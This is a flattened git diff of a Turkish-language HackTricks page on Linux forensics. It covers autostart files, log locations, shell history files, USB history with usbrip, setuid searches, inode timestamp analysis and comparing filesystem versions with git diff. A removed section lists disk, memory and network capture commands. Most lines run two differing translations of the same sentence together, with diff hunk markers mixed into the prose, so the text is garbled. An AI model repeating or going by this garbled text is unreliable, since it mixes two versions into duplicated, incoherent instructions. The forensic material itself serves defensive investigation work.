Linux, kullanıcı oturumu açıldığında otomatik olarak programları çalıştırmak için çeşitli dosyalar kullanır ve bu dosyalar kötü amaçlı yazılım barındırabilir: Linux, kullanıcı oturumılışında otomatik olarak programları çalıştırmak için çeşitli dosyalar kullanır ve potansiyel olarak kötü amaçlı yazılımları barındırabilir:
- **/etc/profile.d/***, **/etc/profile** ve **/etc/bash.bashrc**: Her kullanıcı oturumu açıldığında çalıştırılır. - **/etc/profile.d/**\*, **/etc/profile** ve **/etc/bash.bashrc**: Herhangi bir kullanıcı oturumu açılışında çalıştırılır.
- **~/.bashrc**, **~/.bash_profile**, **~/.profile** ve **~/.config/autostart**: Kullanıcıya özgü oturum açmalarında çalışan dosyalar. - **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile** ve **\~/.config/autostart**: Kullanıcıya özgü dosyalar, kullanıcı oturumu açılışlarında çalıştırılır.
- **/etc/rc.local**: Tüm sistem hizmetleri başladıktan sonra çalışır, çok kullanıcılı bir ortama geçişin sonunu işaretler. - **/etc/rc.local**: Tüm sistem hizmetleri başladıktan sonra çalışır, çoklu kullanıcı ortamına geçişin sonunu işaretler.
## Günlükleri İncele ## Günlükleri İnceleme
Linux sistemleri, çeşitli günlük dosyaları aracılığıyla kullanıcı etkinliklerini ve sistem olaylarını takip eder. Bu günlükler, yetkisiz erişimi, kötü amaçlı yazılım enfeksiyonlarını ve diğer güvenlik olaylarını tespit etmek için önemlidir. Önemli günlük dosyaları şunları içerir: Linux sistemleri, kullanıcı etkinliklerini ve sistem olaylarını çeşitli günlük dosyaları aracılığıyla izler. Bu günlükler, yetkisiz erişimleri, kötü amaçlı yazılım bulaşmalarını ve diğer güvenlik olaylarını tanımlamak için hayati öneme sahiptir. Önemli günlük dosyaları şunları içerir:
- **/var/log/syslog** (Debian) veya **/var/log/messages** (RedHat): Sistem genelindeki mesajları ve etkinlikleri kaydeder. - **/var/log/syslog** (Debian) veya **/var/log/messages** (RedHat): Sistem genelindeki mesajları ve etkinlikleri yakalar.
- **/var/log/auth.log** (Debian) veya **/var/log/secure** (RedHat): Kimlik doğrulama girişimlerini, başarılı ve başarısız oturum açmalarını kaydeder. - **/var/log/auth.log** (Debian) veya **/var/log/secure** (RedHat): Kimlik doğrulama denemelerini, başarılı ve başarısız girişleri kaydeder.
- İlgili kimlik doğrulama olaylarını filtrelemek için `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` komutunu kullanın. - İlgili kimlik doğrulama olaylarını filtrelemek için `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` komutunu kullanın.
- **/var/log/boot.log**: Sistem başlatma mesajlarını içerir. - **/var/log/boot.log**: Sistem başlangıç mesajlarını içerir.
- **/var/log/maillog** veya **/var/log/mail.log**: E-posta sunucusu etkinliklerini kaydeder, e-posta ile ilgili hizmetleri izlemek için kullanışlıdır. - **/var/log/maillog** veya **/var/log/mail.log**: E-posta sunucusu etkinliklerini kaydeder, e-posta ile ilgili hizmetleri izlemek için faydalıdır.
- **/var/log/kern.log**: Hata ve uyarılar da dahil olmak üzere çekirdek mesajlarını saklar. - **/var/log/kern.log**: Hata ve uyarıları içeren çekirdek mesajlarını saklar.
- **/var/log/dmesg**: Aygıt sürücüsü mesajlarını içerir. - **/var/log/dmesg**: Aygıt sürücüsü mesajlarını tutar.
- **/var/log/faillog**: Başarısız oturum açma girişimlerini kaydeder, güvenlik ihlali soruşturmalarına yardımcı olur. - **/var/log/faillog**: Güvenlik ihlali soruşturmalarına yardımcı olan başarısız giriş denemelerini kaydeder.
- **/var/log/cron**: Cron işi yürütmelerini kaydeder. - **/var/log/cron**: Cron işi yürütmelerini kaydeder.
- **/var/log/daemon.log**: Arka planda çalışan hizmet etkinliklerini takip eder. - **/var/log/daemon.log**: Arka planda çalışan hizmet etkinliklerini izler.
- **/var/log/btmp**: Başarısız oturum açma girişimlerini belgeler. - **/var/log/btmp**: Başarısız giriş denemelerini belgeler.
- **/var/log/httpd/**: Apache HTTPD hata ve erişim günlüklerini içerir. - **/var/log/httpd/**: Apache HTTPD hata ve erişim günlüklerini içerir.
- **/var/log/mysqld.log** veya **/var/log/mysql.log**: MySQL veritabanı etkinliklerini kaydeder. - **/var/log/mysqld.log** veya **/var/log/mysql.log**: MySQL veritabanı etkinliklerini kaydeder.
- **/var/log/xferlog**: FTP dosya transferlerini kaydeder. - **/var/log/xferlog**: FTP dosya transferlerini kaydeder.
- **/var/log/**: Burada beklenmedik günlükler için her zaman kontrol yapın. - **/var/log/**: Burada beklenmeyen günlükleri kontrol etmek her zaman önemlidir.
{% hint style="info" %} {% hint style="info" %}
Linux sistem günlükleri ve denetim alt sistemi, bir saldırı veya kötü amaçlı yazılım olayında devre dışı bırakılabilir veya silinebilir. Linux sistemlerindeki günlükler genellikle kötü amaçlı etkinlikler hakkında en kullanışlı bilgileri içerdiğinden, saldırganlar bunları rutin olarak siler. Bu nedenle, mevcut günlük dosyalarını incelemek önemlidir ve silme veya oynama belirtileri olabilecek boşlukları veya sırasız girişleri aramak önemlidir. Linux sistem günlükleri ve denetim alt sistemleri, bir sızma veya kötü amaçlı yazılım olayında devre dışı bırakılabilir veya silinebilir. Linux sistemlerinde günlükler genellikle kötü amaçlı etkinlikler hakkında en kullanışlı bilgileri içerdiğinden, sızıntı yapanlar genellikle bunları siler. Bu nedenle, mevcut günlük dosyalarını inceleyerek, silinme veya oynama belirtisi olabilecek boşlukları veya sırasız girişleri aramak önemlidir.
{% endhint %} {% endhint %}
**Linux, her kullanıcı için bir komut geçmişi tutar**, bu geçmiş aşağıdaki dosyalarda saklanır: **Linux, her kullanıcı için bir komut geçmişini saklar**, şurada depolanır:
- ~/.bash_history - \~/.bash\_history
- ~/.zsh_history - \~/.zsh\_history
- ~/.zsh_sessions/* - \~/.zsh\_sessions/\*
- ~/.python_history - \~/.python\_history
- ~/.*_history - \~/.\*\_history
Ayrıca, `last -Faiwx` komutu kullanıcı oturum açmalarının bir listesini sağlar. Bilinmeyen veya beklenmeyen oturum açmaları için kontrol edin. Ayrıca, `last -Faiwx` komutu bir kullanıcı girişleri listesi sağlar. Bilinmeyen veya beklenmeyen girişleri kontrol edin.
Ek ayrıcalıklar sağlayabilecek dosyaları kontrol edin: Ek ayrıcalıklar sağlayabilecek dosyaları kontrol edin:
- Verilen beklenmeyen kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers` dosyasını gözden geçirin. - Beklenmedik kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers` dosyasını inceleyin.
- Verilen beklenmeyen kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers.d/` dizinini gözden geçirin. - Beklenmedik kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers.d/` dizinini inceleyin.
- Olağandışı grup üyeliklerini veya izinleri belirlemek için `/etc/groups` dosyasını inceleyin. - Olağandışı grup üyeliklerini veya izinleri belirlemek için `/etc/groups` dosyasını inceleyin.
- Olağandışı grup üyeliklerini veya izinleri belirlemek için `/etc/passwd` dosyasını inceleyin. - Olağandışı grup üyeliklerini veya izinleri belirlemek için `/etc/passwd` dosyasını inceleyin.
Bazı uygulamalar kendi günlüklerini oluşturur: Bazı uygulamalar kendi günlüklerini oluşturur:
- **SSH**: Yetkisiz uzak bağlantıları belirlemek için _~/.ssh/authorized_keys_ ve _~/.ssh/known_hosts_ dosyalarını inceleyin. - **SSH**: Yetkisiz uzak bağlantılar için _\~/.ssh/authorized\_keys_ ve _\~/.ssh/known\_hosts_ dosyalarını inceleyin.
- **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla son zamanlarda erişilen dosyalar için _~/.recently-used.xbel_ dosyasına bakın. - **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla son erişilen dosyaları bulmak için _\~/.recently-used.xbel_ dosyasına bakın.
- **Firefox/Chrome**: Şüpheli etkinlikleri belirlemek için tarayıcı geçmişi ve indirmeleri _~/.mozilla/firefox_ veya _~/.config/google-chrome_ dizininde kontrol edin. - **Firefox/Chrome**: Şüpheli etkinlikler için tarayıcı geçmişini ve indirmeleri _\~/.mozilla/firefox_ veya _\~/.config/google-chrome_ dizinlerinde kontrol edin.
- **VIM**: Erişilen dosya yolları ve arama geçmişi gibi kullanım ayrıntıları için _~/.viminfo_ dosyasını gözden geçirin. - **VIM**: Erişilen dosya yolları ve arama geçmişi gibi kullanım detayları için _\~/.viminfo_ dosyasını inceleyin.
- **Open Office**: Kompromize edilmiş dosyaları gösterebilecek son belge erişimlerini kontrol edin. - **Open Office**: Kompromize uğramış dosyaları gösterebilecek son belge erişimlerini kontrol edin.
- **FTP/SFTP**: Yetkisiz dosya transferleri için _~/.ftp_history_ veya _~/.sftp_history_ günlüklerini inceleyin. - **FTP/SFTP**: Yetkisiz dosya transferlerini belirlemek için _\~/.ftp\_history_ veya _\~/.sftp\_history_ günlüklerini inceleyin.
- **MySQL**: Yetkisiz veritabanı etkinliklerini ortaya çıkarabilecek _~/.mysql_history_ dosyasını araştırın. - **MySQL**: Yetkisiz veritabanı etkinliklerini ortaya çıkarabilecek _\~/.mysql\_history_ dosyasını inceleyin.
- **Less**: Görüntülenen dosyaları ve yürütülen komutları içeren _~/.lesshst_ dosyasını analiz edin. - **Less**: Görüntülenen dosyaları ve yürütülen komutları içeren _\~/.lesshst_ dosyasını analiz edin.
- **Git**: Değişiklikleri belirlemek için _~/.gitconfig_ ve proje _.git/logs_ dosyalarını inceleyin. - **Git**: Depolardaki değişiklikleri belirlemek için _\~/.gitconfig_ ve proje _.git/logs_ dosyalarını inceleyin.
### USB Günlükleri ### USB Günlükleri
[**usbrip**](https://github.com/snovvcrash/usbrip), Linux günlük dosyalarını (`/var/log/syslog*` veya dağıtıma bağlı olarak `/var/log/messages*`) USB olay geçmişi tabloları oluşturmak için ayrıştıran, saf Python 3 ile yazılmış küçük bir yazılımdır. [**usbrip**](https://github.com/snovvcrash/usbrip), USB olay geçmişi tabloları oluşturmak için Linux günlük dosyalarını (`/var/log/syslog*` veya `/var/log/messages*` dağıtıma bağlı olarak) ayrıştıran saf Python 3 ile yazılmış küçük bir yazılımdır.
**Kullanılan tüm USB'leri bilmek** ilginç olacaktır ve yetkilendirilmiş bir USB listesine sahipseniz, "ihlal olaylarını" (bu listede olmayan USB'lerin kullanımı) bulmak için daha da kullanışlı olacaktır. **Kullanılan tüm USB'leri bilmek** ilginç olacaktır ve yetkili bir USB listesine sahipseniz "ihlal olaylarını" bulmak için daha da faydalı olacaktır (bu listede olmayan USB'lerin kullanımı).
### Kurulum ### Kurulum
```bash ```bash
@ -336,88 +328,6 @@ pip3 install usbrip
usbrip ids download #Download USB ID database usbrip ids download #Download USB ID database
``` ```
### Örnekler ### Örnekler
#### 1. Disk İmagesi Oluşturma
Bir Linux sistemde disk imajı oluşturmak için `dd` komutunu kullanabilirsiniz. Aşağıdaki komut, `/dev/sda` diskinden bir imaj oluşturur ve `image.dd` adında bir dosyaya kaydeder:
```bash
dd if=/dev/sda of=image.dd
```
#### 2. Disk İmagesini İnceleme
Oluşturulan disk imajını incelemek için `file` komutunu kullanabilirsiniz. Aşağıdaki komut, `image.dd` dosyasının türünü ve özelliklerini gösterir:
```bash
file image.dd
```
#### 3. İmzaları İnceleme
İmzaları incelemek için `binwalk` aracını kullanabilirsiniz. Aşağıdaki komut, `image.dd` dosyasındaki imzaları gösterir:
```bash
binwalk image.dd
```
#### 4. Dosya Sistemini İnceleme
Disk imajındaki dosya sistemini incelemek için `mmls` komutunu kullanabilirsiniz. Aşağıdaki komut, `image.dd` dosyasındaki dosya sistemini gösterir:
```bash
mmls image.dd
```
#### 5. Dosyaları İnceleme
Disk imajındaki dosyaları incelemek için `foremost` aracını kullanabilirsiniz. Aşağıdaki komut, `image.dd` dosyasındaki dosyaları kurtarır:
```bash
foremost -i image.dd -o output_directory
```
#### 6. Log Dosyalarını İnceleme
Log dosyalarını incelemek için `grep` komutunu kullanabilirsiniz. Aşağıdaki komut, `auth.log` dosyasında belirli bir kelimeyi arar:
```bash
grep "kelime" auth.log
```
#### 7. Bellek İmagesini İnceleme
Bellek imajını incelemek için `volatility` aracını kullanabilirsiniz. Aşağıdaki komut, `memdump.mem` dosyasındaki süreçleri ve bağlantıları gösterir:
```bash
volatility -f memdump.mem imageinfo
volatility -f memdump.mem pslist
volatility -f memdump.mem connections
```
#### 8. Ağ İncelemesi
Ağ trafiğini incelemek için `tcpdump` komutunu kullanabilirsiniz. Aşağıdaki komut, `eth0` arayüzündeki ağ trafiğini kaydeder:
```bash
tcpdump -i eth0 -w capture.pcap
```
#### 9. Sistem Günlüklerini İnceleme
Sistem günlüklerini incelemek için `/var/log` dizinindeki günlük dosyalarını kullanabilirsiniz. Aşağıdaki komut, `auth.log` dosyasını görüntüler:
```bash
cat /var/log/auth.log
```
#### 10. Kullanıcı İncelemesi
Kullanıcıları incelemek için `/etc/passwd` dosyasını kullanabilirsiniz. Aşağıdaki komut, sistemdeki kullanıcıları gösterir:
```bash
cat /etc/passwd
```
```bash ```bash
usbrip events history #Get USB history of your curent linux machine usbrip events history #Get USB history of your curent linux machine
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
@ -425,83 +335,77 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
``` ```
Daha fazla örnek ve bilgi için github'a bakın: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) Daha fazla örnek ve bilgi için github içeriğine bakabilirsiniz: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Kullanıcı Hesaplarını ve Oturum Etkinliklerini İnceleme
Bilinen yetkisiz olaylara yakın zamanda oluşturulan veya kullanılan sıradışı isimleri veya hesapları incelemek için _**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** kontrol edin. Ayrıca, olası sudo kaba kuvvet saldırılarını kontrol edin.\
Ayrıca, kullanıcılara verilen beklenmeyen ayrıcalıkları kontrol etmek için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyaları kontrol edin.\
Son olarak, **şifresiz hesapları** veya **kolayca tahmin edilebilen** şifreleri olan hesapları arayın.
## Kullanıcı Hesaplarını ve Oturum Açma Etkinliklerini İnceleyin ## Dosya Sistemi İnceleme
Bilinen yetkisiz olaylara yakın zamanda oluşturulan veya kullanılan sıradışı isimleri veya hesapları tespit etmek için _**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** inceleyin. Ayrıca, olası sudo brute-force saldırılarını kontrol edin.\
Ayrıca, kullanıcılara verilen beklenmeyen ayrıcalıkları kontrol etmek için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyalara bakın.\
Son olarak, şifresi olmayan veya kolayca tahmin edilebilen şifrelere sahip hesapları arayın.
## Dosya Sistemi İncelemesi
### Zararlı Yazılım İncelemesinde Dosya Sistemi Yapılarını Analiz Etme ### Zararlı Yazılım İncelemesinde Dosya Sistemi Yapılarını Analiz Etme
Zararlı yazılım olaylarını incelemek için dosya sistemi yapısı bilgileri önemli bir kaynaktır ve hem olayların sırasını hem de zararlı yazılımın içeriğini ortaya çıkarır. Bununla birlikte, zararlı yazılım yazarları, dosya zaman damgalarını değiştirme veya veri depolama için dosya sisteminden kaçınma gibi analizi engellemek için teknikler geliştirmektedir. Zararlı yazılım olaylarını araştırırken, dosya sisteminin yapısı, olayların sıralamasını ve zararlı yazılımın içeriğini ortaya koyan önemli bir bilgi kaynağıdır. Ancak, zararlı yazılım yazarları, dosya zaman damgalarını değiştirme veya veri depolamak için dosya sistemini kullanmaktan kaçınma gibi analizi engelleyen teknikler geliştirmektedir.
Bu anti-forensik yöntemlere karşı koymak için şunlar önemlidir: Bu anti-forensik yöntemlere karşı koymak için şunlar önemlidir:
- **Olay zaman çizelgesini görselleştirmek** için **Autopsy** gibi araçları kullanarak kapsamlı bir zaman çizelgesi analizi yapın veya ayrıntılı zaman çizelgesi verileri için **Sleuth Kit'in** `mactime`'ını kullanın. * **Olay zaman çizelgesi analizi** yapmak için **Autopsy** gibi araçları kullanarak detaylı zaman çizelgesi verileri için **Sleuth Kit's** `mactime` kullanın.
- Saldırganlar tarafından kullanılan kabuk veya PHP betiklerini içerebilecek sistemdeki beklenmedik betikleri inceleyin. * Saldırganlar tarafından kullanılan kabuk veya PHP betiklerini içerebilecek sistem $PATH'indeki **beklenmeyen betikleri** inceleyin.
- Geleneksel olarak özel dosyalar içerdiği için **/dev** içindeki tipik olmayan dosyalara bakın, çünkü zararlı yazılım ile ilişkili dosyalar içerebilir. * **/dev** içindeki tipik olmayan dosyaları inceleyin, genellikle özel dosyalar içerir ancak zararlı yazılımla ilişkili dosyaları içerebilir.
- ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi isimlere sahip **gizli dosyaları veya dizinleri arayın**, bunlar zararlı içeriği gizleyebilir. * ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi adlara sahip **gizli dosyaları veya dizinleri** arayın, bu dosyalar kötü amaçlı içeriği gizleyebilir.
- Aşağıdaki komutu kullanarak **setuid root dosyalarını** belirleyin: * `find / -user root -perm -04000 -print` komutunu kullanarak **setuid root dosyalarını** belirleyin. Bu, saldırganlar tarafından kötüye kullanılabilecek yükseltilmiş izinlere sahip dosyaları bulur.
```find / -user root -perm -04000 -print``` * Kök kiti veya truva atları varlığını gösterebilecek **kütle dosya silmelerini** belirlemek için inode tablolarındaki silme zaman damgalarını inceleyin.
Bu, saldırganlar tarafından kötüye kullanılabilecek yükseltilmiş izinlere sahip dosyaları bulur. * Bir tane belirledikten sonra yakındaki kötü amaçlı dosyaları içeren **ardışık inode'ları** inceleyin, çünkü bunlar birlikte yerleştirilmiş olabilir.
- Kök kiti veya truva atlarının varlığını gösterebilecek toplu dosya silmelerini tespit etmek için inode tablolarındaki silme zaman damgalarını **inceleyin**. * **Son zamanlarda değiştirilmiş dosyaları** belirlemek için yaygın ikili dizinleri (_/bin_, _/sbin_) kontrol edin, çünkü bunlar zararlı yazılım tarafından değiştirilmiş olabilir.
- Bir tane belirledikten sonra yakındaki zararlı dosyaları tespit etmek için ardışık inode'ları **inceleyin**, çünkü birlikte yerleştirilmiş olabilirler. ````bash
- Zararlı yazılım tarafından değiştirilmiş olabileceği için **/bin_, _/sbin_ gibi yaygın ikili dizinleri** son zamanlarda değiştirilen dosyalar için kontrol edin.
```bash
# List recent files in a directory: # List recent files in a directory:
ls -laR --sort=time /bin``` ls -laR --sort=time /bin```
# Sort files in a directory by inode: # Sort files in a directory by inode:
ls -lai /bin | sort -n``` ls -lai /bin | sort -n```
``` ````
{% hint style="info" %} {% hint style="info" %}
Not: Bir **saldırgan**, **dosyaların görünümünü meşru** göstermek için **zamanı değiştirebilir**, ancak **inode**'u değiştiremez. Bir **dosyanın**, aynı klasördeki diğer dosyalarla aynı **zamanda oluşturulduğunu ve değiştirildiğini gösterdiği**, ancak **inode**'un **beklenmedik şekilde daha büyük olduğu** durumda, o dosyanın **zaman damgalarının değiştirildiği** anlaşılır. **Saldırgan**, dosyaları **meşru görünmesi** için **zamanı değiştirebilir**, ancak **inode**'u değiştiremez. Eğer bir **dosyanın** aynı klasördeki diğer dosyalarla aynı zamanda **oluşturulduğunu ve değiştirildiğini** gösterdiğini fakat **inode**'un **beklenmedik şekilde daha büyük** olduğunu fark ederseniz, o dosyanın **zaman damgaları değiştirilmiş** demektir.
{% endhint %} {% endhint %}
## Farklı dosya sistem sürümlerini karşılaştırma ## Farklı dosya sistem sürümlerini karşılaştırın
### Dosya Sistem Sürümü Karşılaştırma Özeti ### Dosya Sistem Sürümü Karşılaştırma Özeti
Dosya sistem sürümlerini karşılaştırmak ve değişiklikleri belirlemek için basitleştirilmiş `git diff` komutlarını kullanırız: Değişiklikleri belirlemek ve dosya sistem sürümlerini karşılaştırmak için basitleştirilmiş `git diff` komutlarını kullanırız:
- **Yeni dosyaları bulmak** için iki dizini karşılaştırın: * **Yeni dosyaları bulmak** için iki dizini karşılaştırın:
```bash ```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
``` ```
- **Değiştirilmiş içerik için**, belirli satırları görmezden gelerek değişiklikleri listeleyin: * **Değiştirilmiş içerik için**, belirli satırları yok sayarak değişiklikleri listeleyin:
```bash ```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
``` ```
- **Silinmiş dosyaları tespit etmek için**: * **Silinmiş dosyaları tespit etmek için**:
```bash ```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
``` ```
- **Filtre seçenekleri** (`--diff-filter`), eklenen (`A`), silinen (`D`) veya değiştirilen (`M`) dosyalar gibi belirli değişikliklere odaklanmayı sağlar. * **Filtre seçenekleri** (`--diff-filter`), eklenen (`A`), silinen (`D`) veya değiştirilen (`M`) dosyalar gibi belirli değişikliklere odaklanmayı sağlar.
- `A`: Eklenen dosyalar * `A`: Eklenen dosyalar
- `C`: Kopyalanan dosyalar * `C`: Kopyalanan dosyalar
- `D`: Silinen dosyalar * `D`: Silinen dosyalar
- `M`: Değiştirilen dosyalar * `M`: Değiştirilen dosyalar
- `R`: Yeniden adlandırılan dosyalar * `R`: Yeniden adlandırılan dosyalar
- `T`: Tür değişiklikleri (örneğin, dosyadan sembole) * `T`: Tür değişiklikleri (ör. dosyadan sembolik bağlantıya)
- `U`: Birleştirilmemiş dosyalar * `U`: Birleştirilmemiş dosyalar
- `X`: Bilinmeyen dosyalar * `X`: Bilinmeyen dosyalar
- `B`: Bozuk dosyalar * `B`: Bozuk dosyalar
## Referanslar ## Referanslar
@ -512,22 +416,22 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
<details> <details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary> <summary><strong>Sıfırdan başlayarak AWS hacklemeyi</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary>
**Bir siber güvenlik şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz?** veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizi **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) keşfedin. * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın. * [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) sahip olun
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**. * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** takip edin.
**Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**. **Hacking püf noktalarınızı göndererek HackTricks deposuna** [**PR göndererek**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud deposuna**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın.**
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın. [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,80 +1,78 @@
# Tarayıcı Araçları # Tarayıcı Kalıntıları
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı takip edin. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ Dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest'i**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanın.\
